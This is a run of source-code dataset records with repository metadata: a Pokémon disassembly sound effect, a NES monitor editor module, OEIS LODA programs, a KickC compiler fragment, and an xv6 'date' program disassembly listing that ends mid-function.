audio/sfx/vine_whip.asm
|
JStar-debug2020/pokemon-rby-dx
|
c2fdd8145d96683addbd8d9075f946a68d1527a1
|
[
"MIT"
] | 7
|
2020-07-16T10:48:52.000Z
|
2021-01-28T18:32:02.000Z
|
audio/sfx/vine_whip.asm
|
JStar-debug2020/pokemon-rby-dx
|
c2fdd8145d96683addbd8d9075f946a68d1527a1
|
[
"MIT"
] | 2
|
2021-03-28T18:33:43.000Z
|
2021-05-06T13:12:09.000Z
|
SFX_Vine_Whip_Ch7:
noisenote 1, 12, 2, 51
noisenote 2, 15, 2, 33
noisenote 1, 14, 2, 51
noisenote 1, 12, 2, 50
noisenote 1, 9, 2, 18
noisenote 1, 11, 2, 49
noisenote 12, 9, 1, 16
noisenote 8, 15, 2, 65
endchannel
| 20.181818
| 23
| 0.657658
|
e16a0817156f478dc8346262cffed7ec0fd54aa4
| 5,585
|
asm
|
Assembly
|
src/modules/editor.asm
|
freem/nesmon
|
f12df78120f7b0a3610964ed2f1d4743e357d632
|
[
"0BSD"
] | 2
|
2015-09-21T04:33:26.000Z
|
2015-11-06T02:32:29.000Z
|
src/modules/editor.asm
|
freem/nesmon
|
f12df78120f7b0a3610964ed2f1d4743e357d632
|
[
"0BSD"
] | null | null | null |
src/modules/editor.asm
|
freem/nesmon
|
f12df78120f7b0a3610964ed2f1d4743e357d632
|
[
"0BSD"
] | null | null | null |
;==============================================================================;
; nesmon/src/modules/editor.asm
; Editor module
;==============================================================================;
; The nesmon editor is a simple line editor. This editor provides the core
; functionality of the nesmon toolset, as commands are entered here.
; With space at a premium, we try to avoid storing a complete buffer of the
; visible text.
;==============================================================================;
; Routine naming: editor_*
;==============================================================================;
.ignorenl
; module variables (todo)
; cursor defines
CURSOR_SPRITE_Y = OAM_BUF+4
CURSOR_SPRITE_TILE = OAM_BUF+5
CURSOR_SPRITE_ATTR = OAM_BUF+6
CURSOR_SPRITE_X = OAM_BUF+7
CURSOR_TILE_ON = 1
CURSOR_TILE_OFF = 2
.endinl
;==============================================================================;
; editor_Init
; Setup for the editor module
editor_Init:
; TEMPORARY HACK
lda #1
sta activeKBType
; end TEMPORARY HACK
; --system variable initialization--
lda #0
sta edcursorX
sta curLineEnd
sta curNumChars
sta editScrollY
sta editScrollNT
; clear line buffer
jsr editor_ClearLineBuf
; clear module ram
jsr nesmon_ClearModuleRAM
; --module variable initialization--
; --welcome message--
; prepare header
ldx #$20
ldy #$21
lda #15
stx tmp00
sty tmp01
sta tmp02
jsr vramBuf_NewEntry
ldx #<cartSignature
ldy #>cartSignature
stx tmp00
sty tmp01
lda #15
jsr vramBuf_AddFromPtr
; build date
ldx #$20
ldy #$31
lda #14
stx tmp00
sty tmp01
sta tmp02
jsr vramBuf_NewEntry
ldx #<(cartSignature+16)
ldy #>(cartSignature+16)
stx tmp00
sty tmp01
lda #14
jsr vramBuf_AddFromPtr
lda #1
sta runNormalVBuf
jsr ppu_WaitVBL
; --cursor (visual)--
; reset cursor cell
ldx #1
stx edcurDispX
inx
stx edcurDispY
; this is a system variable, but it makes more sense to define it here
lda #1
sta editLineNum
; blinkenstein 3d
lda #0
sta edcurBlink
sta timer1
; --software keyboard--
jsr vramBuf_Init
; temporary shoving this off-screen (was $2220)
lda #$26
ldx #$20
sta softkbPos
stx softkbPos+1
jsr softkb_Show
lda #1
sta runNormalVBuf
jsr ppu_WaitVBL
; execution falls through
;==============================================================================;
; editor_MainLoop
; Editor module main loop
editor_MainLoop:
; --before vblank--
jsr editor_HandleInput ; handle input
jsr editor_UpdateCursorSprite
lda activeKBType
bne @skipSoftKBUpdate
; update software keyboard cursor or whatever
jsr softkb_Update
@skipSoftKBUpdate:
; --vblank--
jsr ppu_WaitVBL
; --after vblank--
inc timer1
lda timer1
cmp #20 ; this value subject to change (currently 1/3 of 60)
bne @noBlinking
; reset timer
lda #0
sta timer1
; change blink state
lda edcurBlink
eor #1
sta edcurBlink
@noBlinking:
jsr editor_GetInput ; get input for next frame
jmp editor_MainLoop
;==============================================================================;
; editor_GetCursorPos
; Returns the PPU address of the cursor's current position
editor_GetCursorPos:
; in the basic case, it goes like this:
; addr = $2000
; addr += edcurDispX+1 ; easy
; addr += (edcurDispY * $20; <<5) ; need to account for upper NT addr
; say you're on row 8; 8<<5 is 256.
; You need to be able to store 4 bits of the overflow
rts
;==============================================================================;
; editor_PrintLine
; Prints a line of text to the screen.
editor_PrintLine:
; find current position
rts
;==============================================================================;
; editor_UpdateCursorSprite
; Updates the cursor sprite.
editor_UpdateCursorSprite:
; sprite X position
lda edcurDispX
; multiply by 8
asl
asl
asl
sta CURSOR_SPRITE_X
; sprite Y position
lda edcurDispY
; multiply by 8
asl
asl
asl
; subtract 1 for proper positioning
sec
sbc #1
sta CURSOR_SPRITE_Y
; sprite frame
lda #CURSOR_TILE_ON
clc
adc edcurBlink
sta CURSOR_SPRITE_TILE
; sprite attributes
; todo: hide sprite behind letter when on non-solid frame?
lda #%00000000
sta CURSOR_SPRITE_ATTR
rts
;==============================================================================;
; editor_GetInput
; Gets input for this frame.
editor_GetInput:
; --controller input--
jsr io_ReadJoySafe
; check which keyboard is active and get its input accordingly
lda activeKBType
bne @hwKeyboard
; --software keyboard input--
; soft keyboard input relies on the joypad input
jmp softkb_Input
@hwKeyboard:
; --hardware keyboard input--
; get ReadKeys routine from the jump table
lda hardkbJumpTable
sta tmp00
iny
lda hardkbJumpTable+1
sta tmp01
; set up routine
ldy #KBROUTINE_GETKEYS
lda (tmp00),y
sta tmp02
iny
lda (tmp00),y
sta tmp03
; do ReadKeys
jmp (tmp02)
;==============================================================================;
; editor_HandleInput
; Handles the input
editor_HandleInput:
; oh boy this is going to be fun!
; --joypad--
; we only need a few things here
; --software keyboard--
@handleInput_SoftKB:
;jsr softkb_Input
; --hardware keyboard--
@handleInput_HWKB:
; [SPECIAL KEYS]
; Enter: typically sends the current line to the command parser
rts
;==============================================================================;
; editor_ClearLineBuf
; Clears the contents of the line buffer.
editor_ClearLineBuf:
lda #0
ldx #30
@clearBuf:
sta curLineBuf,x
dex
bpl @clearBuf
rts
| 19.392361
| 80
| 0.609311
|
b3128337a8c36425a8ece6da7eadd739b8e57250
| 619
|
asm
|
Assembly
|
oeis/139/A139175.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/139/A139175.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/139/A139175.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A139175: a(n) = (n! - 5)/5.
; Submitted by Jon Maiga
; 23,143,1007,8063,72575,725759,7983359,95800319,1245404159,17435658239,261534873599,4184557977599,71137485619199,1280474741145599,24329020081766399,486580401635327999,10218188434341887999,224800145555521535999,5170403347776995327999,124089680346647887871999,3102242008666197196799999,80658292225321127116799999,2177773890083670432153599999,60977668922342772100300799999,1768352398747940390908723199999,53050571962438211727261695999999,1644567730835584563545112575999999
mov $1,$0
add $0,5
add $1,4
lpb $1
mul $0,$1
sub $1,1
lpe
sub $0,120
div $0,5
add $0,23
| 41.266667
| 470
| 0.844911
|
260da25c4ae35430d4f9cf9974a50725b5313758
| 81
|
asm
|
Assembly
|
src/main/fragment/mos6502-common/pwsz1_derefidx_vbuyy_gt_vwsc1_then_la1.asm
|
jbrandwood/kickc
|
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
|
[
"MIT"
] | 2
|
2022-03-01T02:21:14.000Z
|
2022-03-01T04:33:35.000Z
|
src/main/fragment/mos6502-common/pwsz1_derefidx_vbuyy_gt_vwsc1_then_la1.asm
|
jbrandwood/kickc
|
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
|
[
"MIT"
] | null | null | null |
src/main/fragment/mos6502-common/pwsz1_derefidx_vbuyy_gt_vwsc1_then_la1.asm
|
jbrandwood/kickc
|
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
|
[
"MIT"
] | null | null | null |
lda #<{c1}
cmp ({z1}),y
iny
lda #>{c1}
sbc ({z1}),y
bvc !+
eor #$80
!:
bmi {la1}
| 8.1
| 12
| 0.481481
|
04d3cacc27685f0afe1eec4ec42c7bc5f26162a7
| 351
|
asm
|
Assembly
|
programs/oeis/014/A014017.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/014/A014017.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/014/A014017.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A014017: Inverse of 8th cyclotomic polynomial.
; 1,0,0,0,-1,0,0,0,1,0,0,0,-1,0,0,0,1,0,0,0,-1,0,0,0,1,0,0,0,-1,0,0,0,1,0,0,0,-1,0,0,0,1,0,0,0,-1,0,0,0,1,0,0,0,-1,0,0,0,1,0,0,0,-1,0,0,0,1,0,0,0,-1,0,0,0,1,0,0,0,-1,0,0,0,1,0,0,0,-1,0,0,0,1,0,0,0,-1,0,0,0,1,0,0,0
lpb $0
mod $0,8
lpe
lpb $0
sub $1,$0
dif $0,4
add $1,3
lpe
pow $1,$0
mov $0,$1
| 25.071429
| 213
| 0.521368
|
92bbb7845ea7664d7a93e0b6fa89ff648ec46009
| 53,422
|
asm
|
Assembly
|
xv6-pdx/date.asm
|
budiwa/CS333
|
3ceee2ce2ac6cf112444b53446093a08b5ebfdf6
|
[
"Xnet",
"X11"
] | null | null | null |
xv6-pdx/date.asm
|
budiwa/CS333
|
3ceee2ce2ac6cf112444b53446093a08b5ebfdf6
|
[
"Xnet",
"X11"
] | null | null | null |
xv6-pdx/date.asm
|
budiwa/CS333
|
3ceee2ce2ac6cf112444b53446093a08b5ebfdf6
|
[
"Xnet",
"X11"
] | null | null | null |
_date: file format elf32-i386
Disassembly of section .text:
00000000 <dayofweek>:
static char *days[] = {"Sun", "Mon", "Tue", "Wed",
"Thu", "Fri", "Sat"};
int
dayofweek(int y, int m, int d)
{
0: 55 push %ebp
1: 89 e5 mov %esp,%ebp
3: 53 push %ebx
return (d+=m<3?y--:y-2,23*m/9+d+4+y/4-y/100+y/400)%7;
4: 83 7d 0c 02 cmpl $0x2,0xc(%ebp)
8: 7f 0b jg 15 <dayofweek+0x15>
a: 8b 45 08 mov 0x8(%ebp),%eax
d: 8d 50 ff lea -0x1(%eax),%edx
10: 89 55 08 mov %edx,0x8(%ebp)
13: eb 06 jmp 1b <dayofweek+0x1b>
15: 8b 45 08 mov 0x8(%ebp),%eax
18: 83 e8 02 sub $0x2,%eax
1b: 01 45 10 add %eax,0x10(%ebp)
1e: 8b 45 0c mov 0xc(%ebp),%eax
21: 6b c8 17 imul $0x17,%eax,%ecx
24: ba 39 8e e3 38 mov $0x38e38e39,%edx
29: 89 c8 mov %ecx,%eax
2b: f7 ea imul %edx
2d: d1 fa sar %edx
2f: 89 c8 mov %ecx,%eax
31: c1 f8 1f sar $0x1f,%eax
34: 29 c2 sub %eax,%edx
36: 8b 45 10 mov 0x10(%ebp),%eax
39: 01 d0 add %edx,%eax
3b: 8d 48 04 lea 0x4(%eax),%ecx
3e: 8b 45 08 mov 0x8(%ebp),%eax
41: 8d 50 03 lea 0x3(%eax),%edx
44: 85 c0 test %eax,%eax
46: 0f 48 c2 cmovs %edx,%eax
49: c1 f8 02 sar $0x2,%eax
4c: 8d 1c 01 lea (%ecx,%eax,1),%ebx
4f: 8b 4d 08 mov 0x8(%ebp),%ecx
52: ba 1f 85 eb 51 mov $0x51eb851f,%edx
57: 89 c8 mov %ecx,%eax
59: f7 ea imul %edx
5b: c1 fa 05 sar $0x5,%edx
5e: 89 c8 mov %ecx,%eax
60: c1 f8 1f sar $0x1f,%eax
63: 29 c2 sub %eax,%edx
65: 89 d0 mov %edx,%eax
67: 29 c3 sub %eax,%ebx
69: 8b 4d 08 mov 0x8(%ebp),%ecx
6c: ba 1f 85 eb 51 mov $0x51eb851f,%edx
71: 89 c8 mov %ecx,%eax
73: f7 ea imul %edx
75: c1 fa 07 sar $0x7,%edx
78: 89 c8 mov %ecx,%eax
7a: c1 f8 1f sar $0x1f,%eax
7d: 29 c2 sub %eax,%edx
7f: 89 d0 mov %edx,%eax
81: 8d 0c 03 lea (%ebx,%eax,1),%ecx
84: ba 93 24 49 92 mov $0x92492493,%edx
89: 89 c8 mov %ecx,%eax
8b: f7 ea imul %edx
8d: 8d 04 0a lea (%edx,%ecx,1),%eax
90: c1 f8 02 sar $0x2,%eax
93: 89 c2 mov %eax,%edx
95: 89 c8 mov %ecx,%eax
97: c1 f8 1f sar $0x1f,%eax
9a: 29 c2 sub %eax,%edx
9c: 89 d0 mov %edx,%eax
9e: 89 c2 mov %eax,%edx
a0: c1 e2 03 shl $0x3,%edx
a3: 29 c2 sub %eax,%edx
a5: 89 c8 mov %ecx,%eax
a7: 29 d0 sub %edx,%eax
}
a9: 5b pop %ebx
aa: 5d pop %ebp
ab: c3 ret
000000ac <main>:
int
main(int argc, char *argv[])
{
ac: 8d 4c 24 04 lea 0x4(%esp),%ecx
b0: 83 e4 f0 and $0xfffffff0,%esp
b3: ff 71 fc pushl -0x4(%ecx)
b6: 55 push %ebp
b7: 89 e5 mov %esp,%ebp
b9: 51 push %ecx
ba: 83 ec 24 sub $0x24,%esp
int day;
struct rtcdate r;
if (date(&r)) {
bd: 83 ec 0c sub $0xc,%esp
c0: 8d 45 dc lea -0x24(%ebp),%eax
c3: 50 push %eax
c4: e8 e6 04 00 00 call 5af <date>
c9: 83 c4 10 add $0x10,%esp
cc: 85 c0 test %eax,%eax
ce: 74 1b je eb <main+0x3f>
printf(2,"Error: date call failed. %s at line %d\n",
d0: 6a 1c push $0x1c
d2: 68 e5 0a 00 00 push $0xae5
d7: 68 ec 0a 00 00 push $0xaec
dc: 6a 02 push $0x2
de: e8 fb 05 00 00 call 6de <printf>
e3: 83 c4 10 add $0x10,%esp
__FILE__, __LINE__);
exit();
e6: e8 1c 04 00 00 call 507 <exit>
}
day = dayofweek(r.year, r.month, r.day);
eb: 8b 45 e8 mov -0x18(%ebp),%eax
ee: 89 c1 mov %eax,%ecx
f0: 8b 45 ec mov -0x14(%ebp),%eax
f3: 89 c2 mov %eax,%edx
f5: 8b 45 f0 mov -0x10(%ebp),%eax
f8: 83 ec 04 sub $0x4,%esp
fb: 51 push %ecx
fc: 52 push %edx
fd: 50 push %eax
fe: e8 fd fe ff ff call 0 <dayofweek>
103: 83 c4 10 add $0x10,%esp
106: 89 45 f4 mov %eax,-0xc(%ebp)
printf(1, "%s %s %d", days[day], months[r.month], r.day);
109: 8b 4d e8 mov -0x18(%ebp),%ecx
10c: 8b 45 ec mov -0x14(%ebp),%eax
10f: 8b 14 85 e0 0d 00 00 mov 0xde0(,%eax,4),%edx
116: 8b 45 f4 mov -0xc(%ebp),%eax
119: 8b 04 85 14 0e 00 00 mov 0xe14(,%eax,4),%eax
120: 83 ec 0c sub $0xc,%esp
123: 51 push %ecx
124: 52 push %edx
125: 50 push %eax
126: 68 14 0b 00 00 push $0xb14
12b: 6a 01 push $0x1
12d: e8 ac 05 00 00 call 6de <printf>
132: 83 c4 20 add $0x20,%esp
printf(1, " ");
135: 83 ec 08 sub $0x8,%esp
138: 68 1d 0b 00 00 push $0xb1d
13d: 6a 01 push $0x1
13f: e8 9a 05 00 00 call 6de <printf>
144: 83 c4 10 add $0x10,%esp
if (r.hour < 10) printf(1, "0");
147: 8b 45 e4 mov -0x1c(%ebp),%eax
14a: 83 f8 09 cmp $0x9,%eax
14d: 77 12 ja 161 <main+0xb5>
14f: 83 ec 08 sub $0x8,%esp
152: 68 1f 0b 00 00 push $0xb1f
157: 6a 01 push $0x1
159: e8 80 05 00 00 call 6de <printf>
15e: 83 c4 10 add $0x10,%esp
printf(1, "%d:", r.hour);
161: 8b 45 e4 mov -0x1c(%ebp),%eax
164: 83 ec 04 sub $0x4,%esp
167: 50 push %eax
168: 68 21 0b 00 00 push $0xb21
16d: 6a 01 push $0x1
16f: e8 6a 05 00 00 call 6de <printf>
174: 83 c4 10 add $0x10,%esp
if (r.minute < 10) printf(1, "0");
177: 8b 45 e0 mov -0x20(%ebp),%eax
17a: 83 f8 09 cmp $0x9,%eax
17d: 77 12 ja 191 <main+0xe5>
17f: 83 ec 08 sub $0x8,%esp
182: 68 1f 0b 00 00 push $0xb1f
187: 6a 01 push $0x1
189: e8 50 05 00 00 call 6de <printf>
18e: 83 c4 10 add $0x10,%esp
printf(1, "%d:", r.minute);
191: 8b 45 e0 mov -0x20(%ebp),%eax
194: 83 ec 04 sub $0x4,%esp
197: 50 push %eax
198: 68 21 0b 00 00 push $0xb21
19d: 6a 01 push $0x1
19f: e8 3a 05 00 00 call 6de <printf>
1a4: 83 c4 10 add $0x10,%esp
if (r.second < 10) printf(1, "0");
1a7: 8b 45 dc mov -0x24(%ebp),%eax
1aa: 83 f8 09 cmp $0x9,%eax
1ad: 77 12 ja 1c1 <main+0x115>
1af: 83 ec 08 sub $0x8,%esp
1b2: 68 1f 0b 00 00 push $0xb1f
1b7: 6a 01 push $0x1
1b9: e8 20 05 00 00 call 6de <printf>
1be: 83 c4 10 add $0x10,%esp
printf(1, "%d UTC %d\n", r.second, r.year);
1c1: 8b 55 f0 mov -0x10(%ebp),%edx
1c4: 8b 45 dc mov -0x24(%ebp),%eax
1c7: 52 push %edx
1c8: 50 push %eax
1c9: 68 25 0b 00 00 push $0xb25
1ce: 6a 01 push $0x1
1d0: e8 09 05 00 00 call 6de <printf>
1d5: 83 c4 10 add $0x10,%esp
exit();
1d8: e8 2a 03 00 00 call 507 <exit>
000001dd <stosb>:
"cc");
}
static inline void
stosb(void *addr, int data, int cnt)
{
1dd: 55 push %ebp
1de: 89 e5 mov %esp,%ebp
1e0: 57 push %edi
1e1: 53 push %ebx
asm volatile("cld; rep stosb" :
1e2: 8b 4d 08 mov 0x8(%ebp),%ecx
1e5: 8b 55 10 mov 0x10(%ebp),%edx
1e8: 8b 45 0c mov 0xc(%ebp),%eax
1eb: 89 cb mov %ecx,%ebx
1ed: 89 df mov %ebx,%edi
1ef: 89 d1 mov %edx,%ecx
1f1: fc cld
1f2: f3 aa rep stos %al,%es:(%edi)
1f4: 89 ca mov %ecx,%edx
1f6: 89 fb mov %edi,%ebx
1f8: 89 5d 08 mov %ebx,0x8(%ebp)
1fb: 89 55 10 mov %edx,0x10(%ebp)
"=D" (addr), "=c" (cnt) :
"0" (addr), "1" (cnt), "a" (data) :
"memory", "cc");
}
1fe: 90 nop
1ff: 5b pop %ebx
200: 5f pop %edi
201: 5d pop %ebp
202: c3 ret
00000203 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
203: 55 push %ebp
204: 89 e5 mov %esp,%ebp
206: 83 ec 10 sub $0x10,%esp
char *os;
os = s;
209: 8b 45 08 mov 0x8(%ebp),%eax
20c: 89 45 fc mov %eax,-0x4(%ebp)
while((*s++ = *t++) != 0)
20f: 90 nop
210: 8b 45 08 mov 0x8(%ebp),%eax
213: 8d 50 01 lea 0x1(%eax),%edx
216: 89 55 08 mov %edx,0x8(%ebp)
219: 8b 55 0c mov 0xc(%ebp),%edx
21c: 8d 4a 01 lea 0x1(%edx),%ecx
21f: 89 4d 0c mov %ecx,0xc(%ebp)
222: 0f b6 12 movzbl (%edx),%edx
225: 88 10 mov %dl,(%eax)
227: 0f b6 00 movzbl (%eax),%eax
22a: 84 c0 test %al,%al
22c: 75 e2 jne 210 <strcpy+0xd>
;
return os;
22e: 8b 45 fc mov -0x4(%ebp),%eax
}
231: c9 leave
232: c3 ret
00000233 <strcmp>:
int
strcmp(const char *p, const char *q)
{
233: 55 push %ebp
234: 89 e5 mov %esp,%ebp
while(*p && *p == *q)
236: eb 08 jmp 240 <strcmp+0xd>
p++, q++;
238: 83 45 08 01 addl $0x1,0x8(%ebp)
23c: 83 45 0c 01 addl $0x1,0xc(%ebp)
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
240: 8b 45 08 mov 0x8(%ebp),%eax
243: 0f b6 00 movzbl (%eax),%eax
246: 84 c0 test %al,%al
248: 74 10 je 25a <strcmp+0x27>
24a: 8b 45 08 mov 0x8(%ebp),%eax
24d: 0f b6 10 movzbl (%eax),%edx
250: 8b 45 0c mov 0xc(%ebp),%eax
253: 0f b6 00 movzbl (%eax),%eax
256: 38 c2 cmp %al,%dl
258: 74 de je 238 <strcmp+0x5>
p++, q++;
return (uchar)*p - (uchar)*q;
25a: 8b 45 08 mov 0x8(%ebp),%eax
25d: 0f b6 00 movzbl (%eax),%eax
260: 0f b6 d0 movzbl %al,%edx
263: 8b 45 0c mov 0xc(%ebp),%eax
266: 0f b6 00 movzbl (%eax),%eax
269: 0f b6 c0 movzbl %al,%eax
26c: 29 c2 sub %eax,%edx
26e: 89 d0 mov %edx,%eax
}
270: 5d pop %ebp
271: c3 ret
00000272 <strlen>:
uint
strlen(char *s)
{
272: 55 push %ebp
273: 89 e5 mov %esp,%ebp
275: 83 ec 10 sub $0x10,%esp
int n;
for(n = 0; s[n]; n++)
278: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
27f: eb 04 jmp 285 <strlen+0x13>
281: 83 45 fc 01 addl $0x1,-0x4(%ebp)
285: 8b 55 fc mov -0x4(%ebp),%edx
288: 8b 45 08 mov 0x8(%ebp),%eax
28b: 01 d0 add %edx,%eax
28d: 0f b6 00 movzbl (%eax),%eax
290: 84 c0 test %al,%al
292: 75 ed jne 281 <strlen+0xf>
;
return n;
294: 8b 45 fc mov -0x4(%ebp),%eax
}
297: c9 leave
298: c3 ret
00000299 <memset>:
void*
memset(void *dst, int c, uint n)
{
299: 55 push %ebp
29a: 89 e5 mov %esp,%ebp
stosb(dst, c, n);
29c: 8b 45 10 mov 0x10(%ebp),%eax
29f: 50 push %eax
2a0: ff 75 0c pushl 0xc(%ebp)
2a3: ff 75 08 pushl 0x8(%ebp)
2a6: e8 32 ff ff ff call 1dd <stosb>
2ab: 83 c4 0c add $0xc,%esp
return dst;
2ae: 8b 45 08 mov 0x8(%ebp),%eax
}
2b1: c9 leave
2b2: c3 ret
000002b3 <strchr>:
char*
strchr(const char *s, char c)
{
2b3: 55 push %ebp
2b4: 89 e5 mov %esp,%ebp
2b6: 83 ec 04 sub $0x4,%esp
2b9: 8b 45 0c mov 0xc(%ebp),%eax
2bc: 88 45 fc mov %al,-0x4(%ebp)
for(; *s; s++)
2bf: eb 14 jmp 2d5 <strchr+0x22>
if(*s == c)
2c1: 8b 45 08 mov 0x8(%ebp),%eax
2c4: 0f b6 00 movzbl (%eax),%eax
2c7: 3a 45 fc cmp -0x4(%ebp),%al
2ca: 75 05 jne 2d1 <strchr+0x1e>
return (char*)s;
2cc: 8b 45 08 mov 0x8(%ebp),%eax
2cf: eb 13 jmp 2e4 <strchr+0x31>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
2d1: 83 45 08 01 addl $0x1,0x8(%ebp)
2d5: 8b 45 08 mov 0x8(%ebp),%eax
2d8: 0f b6 00 movzbl (%eax),%eax
2db: 84 c0 test %al,%al
2dd: 75 e2 jne 2c1 <strchr+0xe>
if(*s == c)
return (char*)s;
return 0;
2df: b8 00 00 00 00 mov $0x0,%eax
}
2e4: c9 leave
2e5: c3 ret
000002e6 <gets>:
char*
gets(char *buf, int max)
{
2e6: 55 push %ebp
2e7: 89 e5 mov %esp,%ebp
2e9: 83 ec 18 sub $0x18,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
2ec: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
2f3: eb 42 jmp 337 <gets+0x51>
cc = read(0, &c, 1);
2f5: 83 ec 04 sub $0x4,%esp
2f8: 6a 01 push $0x1
2fa: 8d 45 ef lea -0x11(%ebp),%eax
2fd: 50 push %eax
2fe: 6a 00 push $0x0
300: e8 1a 02 00 00 call 51f <read>
305: 83 c4 10 add $0x10,%esp
308: 89 45 f0 mov %eax,-0x10(%ebp)
if(cc < 1)
30b: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
30f: 7e 33 jle 344 <gets+0x5e>
break;
buf[i++] = c;
311: 8b 45 f4 mov -0xc(%ebp),%eax
314: 8d 50 01 lea 0x1(%eax),%edx
317: 89 55 f4 mov %edx,-0xc(%ebp)
31a: 89 c2 mov %eax,%edx
31c: 8b 45 08 mov 0x8(%ebp),%eax
31f: 01 c2 add %eax,%edx
321: 0f b6 45 ef movzbl -0x11(%ebp),%eax
325: 88 02 mov %al,(%edx)
if(c == '\n' || c == '\r')
327: 0f b6 45 ef movzbl -0x11(%ebp),%eax
32b: 3c 0a cmp $0xa,%al
32d: 74 16 je 345 <gets+0x5f>
32f: 0f b6 45 ef movzbl -0x11(%ebp),%eax
333: 3c 0d cmp $0xd,%al
335: 74 0e je 345 <gets+0x5f>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
337: 8b 45 f4 mov -0xc(%ebp),%eax
33a: 83 c0 01 add $0x1,%eax
33d: 3b 45 0c cmp 0xc(%ebp),%eax
340: 7c b3 jl 2f5 <gets+0xf>
342: eb 01 jmp 345 <gets+0x5f>
cc = read(0, &c, 1);
if(cc < 1)
break;
344: 90 nop
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
345: 8b 55 f4 mov -0xc(%ebp),%edx
348: 8b 45 08 mov 0x8(%ebp),%eax
34b: 01 d0 add %edx,%eax
34d: c6 00 00 movb $0x0,(%eax)
return buf;
350: 8b 45 08 mov 0x8(%ebp),%eax
}
353: c9 leave
354: c3 ret
00000355 <stat>:
int
stat(char *n, struct stat *st)
{
355: 55 push %ebp
356: 89 e5 mov %esp,%ebp
358: 83 ec 18 sub $0x18,%esp
int fd;
int r;
fd = open(n, O_RDONLY);
35b: 83 ec 08 sub $0x8,%esp
35e: 6a 00 push $0x0
360: ff 75 08 pushl 0x8(%ebp)
363: e8 df 01 00 00 call 547 <open>
368: 83 c4 10 add $0x10,%esp
36b: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0)
36e: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
372: 79 07 jns 37b <stat+0x26>
return -1;
374: b8 ff ff ff ff mov $0xffffffff,%eax
379: eb 25 jmp 3a0 <stat+0x4b>
r = fstat(fd, st);
37b: 83 ec 08 sub $0x8,%esp
37e: ff 75 0c pushl 0xc(%ebp)
381: ff 75 f4 pushl -0xc(%ebp)
384: e8 d6 01 00 00 call 55f <fstat>
389: 83 c4 10 add $0x10,%esp
38c: 89 45 f0 mov %eax,-0x10(%ebp)
close(fd);
38f: 83 ec 0c sub $0xc,%esp
392: ff 75 f4 pushl -0xc(%ebp)
395: e8 95 01 00 00 call 52f <close>
39a: 83 c4 10 add $0x10,%esp
return r;
39d: 8b 45 f0 mov -0x10(%ebp),%eax
}
3a0: c9 leave
3a1: c3 ret
000003a2 <atoi>:
int
atoi(const char *s)
{
3a2: 55 push %ebp
3a3: 89 e5 mov %esp,%ebp
3a5: 83 ec 10 sub $0x10,%esp
int n, sign;
n = 0;
3a8: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
while (*s == ' ') s++;
3af: eb 04 jmp 3b5 <atoi+0x13>
3b1: 83 45 08 01 addl $0x1,0x8(%ebp)
3b5: 8b 45 08 mov 0x8(%ebp),%eax
3b8: 0f b6 00 movzbl (%eax),%eax
3bb: 3c 20 cmp $0x20,%al
3bd: 74 f2 je 3b1 <atoi+0xf>
sign = (*s == '-') ? -1 : 1;
3bf: 8b 45 08 mov 0x8(%ebp),%eax
3c2: 0f b6 00 movzbl (%eax),%eax
3c5: 3c 2d cmp $0x2d,%al
3c7: 75 07 jne 3d0 <atoi+0x2e>
3c9: b8 ff ff ff ff mov $0xffffffff,%eax
3ce: eb 05 jmp 3d5 <atoi+0x33>
3d0: b8 01 00 00 00 mov $0x1,%eax
3d5: 89 45 f8 mov %eax,-0x8(%ebp)
if (*s == '+' || *s == '-')
3d8: 8b 45 08 mov 0x8(%ebp),%eax
3db: 0f b6 00 movzbl (%eax),%eax
3de: 3c 2b cmp $0x2b,%al
3e0: 74 0a je 3ec <atoi+0x4a>
3e2: 8b 45 08 mov 0x8(%ebp),%eax
3e5: 0f b6 00 movzbl (%eax),%eax
3e8: 3c 2d cmp $0x2d,%al
3ea: 75 2b jne 417 <atoi+0x75>
s++;
3ec: 83 45 08 01 addl $0x1,0x8(%ebp)
while('0' <= *s && *s <= '9')
3f0: eb 25 jmp 417 <atoi+0x75>
n = n*10 + *s++ - '0';
3f2: 8b 55 fc mov -0x4(%ebp),%edx
3f5: 89 d0 mov %edx,%eax
3f7: c1 e0 02 shl $0x2,%eax
3fa: 01 d0 add %edx,%eax
3fc: 01 c0 add %eax,%eax
3fe: 89 c1 mov %eax,%ecx
400: 8b 45 08 mov 0x8(%ebp),%eax
403: 8d 50 01 lea 0x1(%eax),%edx
406: 89 55 08 mov %edx,0x8(%ebp)
409: 0f b6 00 movzbl (%eax),%eax
